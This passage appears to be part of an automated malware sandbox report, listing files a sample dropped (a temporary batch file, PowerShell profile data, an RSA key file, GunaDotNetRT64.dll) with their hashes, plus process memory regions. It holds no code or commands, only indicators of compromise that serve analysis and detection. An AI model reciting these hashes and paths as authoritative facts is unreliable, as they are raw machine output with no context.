                                                                  91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                  Filesize

                                                                  1KB

                                                                  MD5

                                                                  5ea00616232141c494df91fca9fe22d1

                                                                  SHA1

                                                                  15f672a2610771e63bb2f20b4413ef2707e2b0c3

                                                                  SHA256

                                                                  1d2e6e0a76b326027fa9162b22c998ad8daa665ef7326f732febe8817f63a849

                                                                  SHA512

                                                                  727d2155e354837a71b9f67384a75b8a6335c0c9cf771ec77cd17d950acc314be05981ea9d5140076b1430b5edcd6b63cdd3a0f59ca27472da4268ebf227ef3b

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                  Filesize

                                                                  1KB

                                                                  MD5

                                                                  63f3193f647d1c456c7bc9eda8e1c456

                                                                  SHA1

                                                                  4c0cfa16fec9a0f5aea919ec7926cca7eacec1d4

                                                                  SHA256

                                                                  204c112602de9a48d25f9b4a7d0c5d1cf04bba0c8d680dcb56d057abe9ab5cef

                                                                  SHA512

                                                                  9afed2461f66194f480281b4620d16adf422565133aa0eaf9af02311a2ba360adff1311b3093a9dab196dd8ab88e6b6077c29c0eff531a46af2960e037fa5bce

                                                                • C:\Users\Admin\AppData\Local\Temp\C92C.tmp\C92D.tmp\C93D.bat

                                                                  Filesize

                                                                  1KB

                                                                  MD5

                                                                  fc4af7384f0b6f274dd3e745f0aceeaa

                                                                  SHA1

                                                                  31b310f869b15b84e52ef282cabaee974e5043cf

                                                                  SHA256

                                                                  f27a781bd4e8788990ceecac17ba4b9642e15f0d311e17d62c70db694c207a34

                                                                  SHA512

                                                                  dc7b542d89236105c8b8976e5af0e9e557eaa919adb2e8384b55b70c0b5bc6f00d2010538b9abaca90bb797d24fd509acdc1b3a6beea27f11405bf198349f57f

                                                                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ajzppyp1.rf2.ps1

                                                                  Filesize

                                                                  1B

                                                                  MD5

                                                                  c4ca4238a0b923820dcc509a6f75849b

                                                                  SHA1

                                                                  356a192b7913b04c54574d18c28d46e6395428ab

                                                                  SHA256

                                                                  6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

                                                                  SHA512

                                                                  4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

                                                                • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-160447019-1232603106-4168707212-1000\d533a5560301935f53c58c2fa4238f08_f9d1bf68-a4a3-4e40-8567-86018b80b4b2

                                                                  Filesize

                                                                  3KB

                                                                  MD5

                                                                  7289ab7c1fd10224199f43e8588ed95e

                                                                  SHA1

                                                                  81388a1cd950900e77169585c4d334fbc36cba0e

                                                                  SHA256

                                                                  64887a703d27f17026cb5a11469519420b7216c03e5af1a208619407ac0d78d3

                                                                  SHA512

                                                                  5d1c1d5c4c216739d0920555c0634c07df81f599679ecea51cf61e73897a389e227b000532d2e7b95b526bb8b4125617d637eb97fa0d5bd738aa363c530307e6

                                                                • \??\pipe\crashpad_1680_EWSGCYDLXJOSZNCL

                                                                  MD5

                                                                  d41d8cd98f00b204e9800998ecf8427e

                                                                  SHA1

                                                                  da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                  SHA256

                                                                  e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                  SHA512

                                                                  cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                • \Users\Admin\AppData\Local\Temp\c6ef4c2b-9a55-40b4-957b-c3cb74191397\GunaDotNetRT64.dll

                                                                  Filesize

                                                                  142KB

                                                                  MD5

                                                                  9c43f77cb7cff27cb47ed67babe3eda5

                                                                  SHA1

                                                                  b0400cf68249369d21de86bd26bb84ccffd47c43

                                                                  SHA256

                                                                  f25b9288fe370dcfcb4823fb4e44ab88c7f5fce6e137d0dba389a3dba07d621e

                                                                  SHA512

                                                                  cde6fb6cf8db6f9746e69e6c10214e60b3646700d70b49668a2a792e309714dd2d4c5a5241977a833a95fcde8318abcc89eb9968a5039a0b75726bbfa27125a7

                                                                • memory/1884-146-0x0000026FE36E0000-0x0000026FE36F2000-memory.dmp

                                                                  Filesize

                                                                  72KB

                                                                • memory/1884-140-0x00007FFA371B0000-0x00007FFA372DC000-memory.dmp

                                                                  Filesize

                                                                  1.2MB

                                                                • memory/1884-141-0x0000026FDD250000-0x0000026FDD490000-memory.dmp

                                                                  Filesize

                                                                  2.2MB

                                                                • memory/1884-147-0x0000026FDDE10000-0x0000026FDDE1A000-memory.dmp

                                                                  Filesize

                                                                  40KB

                                                                • memory/1884-150-0x0000026FE3740000-0x0000026FE377C000-memory.dmp

                                                                  Filesize

                                                                  240KB

                                                                • memory/1884-139-0x00007FFA36D70000-0x00007FFA36D97000-memory.dmp

                                                                  Filesize

                                                                  156KB

                                                                • memory/1884-142-0x0000026FDC9A0000-0x0000026FDC9D2000-memory.dmp

                                                                  Filesize

                                                                  200KB

                                                                • memory/1884-145-0x0000026FDDE00000-0x0000026FDDE0C000-memory.dmp

                                                                  Filesize

                                                                  48KB

                                                                • memory/1884-153-0x00007FFA36D70000-0x00007FFA36D97000-memory.dmp

                                                                  Filesize

                                                                  156KB

                                                                • memory/1884-131-0x0000026FC1140000-0x0000026FC2204000-memory.dmp

                                                                  Filesize

                                                                  16.8MB

                                                                • memory/1884-132-0x0000026FDCC10000-0x0000026FDCE02000-memory.dmp

                                                                  Filesize

                                                                  1.9MB

                                                                • memory/3816-151-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                  Filesize

                                                                  228KB

                                                                • memory/3816-123-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                  Filesize

                                                                  228KB

                                                                • memory/3816-474-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                  Filesize

                                                                  228KB

                                                                • memory/3844-249-0x00007FFA36D70000-0x00007FFA36D97000-memory.dmp

                                                                  Filesize

                                                                  156KB

                                                                • memory/3844-242-0x000001FCF0480000-0x000001FCF04B2000-memory.dmp

                                                                  Filesize

                                                                  200KB

                                                                • memory/3844-241-0x00007FFA371B0000-0x00007FFA372DC000-memory.dmp

                                                                  Filesize

                                                                  1.2MB

                                                                • memory/3844-240-0x00007FFA36D70000-0x00007FFA36D97000-memory.dmp

                                                                  Filesize

                                                                  156KB

                                                                • memory/4668-303-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                  Filesize

                                                                  228KB

                                                                • memory/4668-247-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                  Filesize

                                                                  228KB

                                                                • memory/5164-143-0x0000000000190000-0x00000000002B8000-memory.dmp

                                                                  Filesize

                                                                  1.2MB

                                                                • memory/5328-487-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                  Filesize

                                                                  228KB

                                                                • memory/5328-475-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                  Filesize

                                                                  228KB

                                                                • memory/5328-537-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                  Filesize

                                                                  228KB

                                                                • memory/5528-479-0x00007FFA52100000-0x00007FFA52127000-memory.dmp

                                                                  Filesize

                                                                  156KB

                                                                • memory/5528-480-0x00007FFA371B0000-0x00007FFA372DC000-memory.dmp

                                                                  Filesize

                                                                  1.2MB

                                                                • memory/5528-489-0x00007FFA52100000-0x00007FFA52127000-memory.dmp

                                                                  Filesize

                                                                  156KB

                                                                • memory/5636-261-0x0000024B30F50000-0x0000024B30FC6000-memory.dmp

                                                                  Filesize

                                                                  472KB

                                                                • memory/5636-258-0x0000024B304C0000-0x0000024B304E2000-memory.dmp

                                                                  Filesize

                                                                  136KB

                                                                • memory/6000-337-0x0000014F7EC40000-0x0000014F7F3E6000-memory.dmp

                                                                  Filesize

                                                                  7.6MB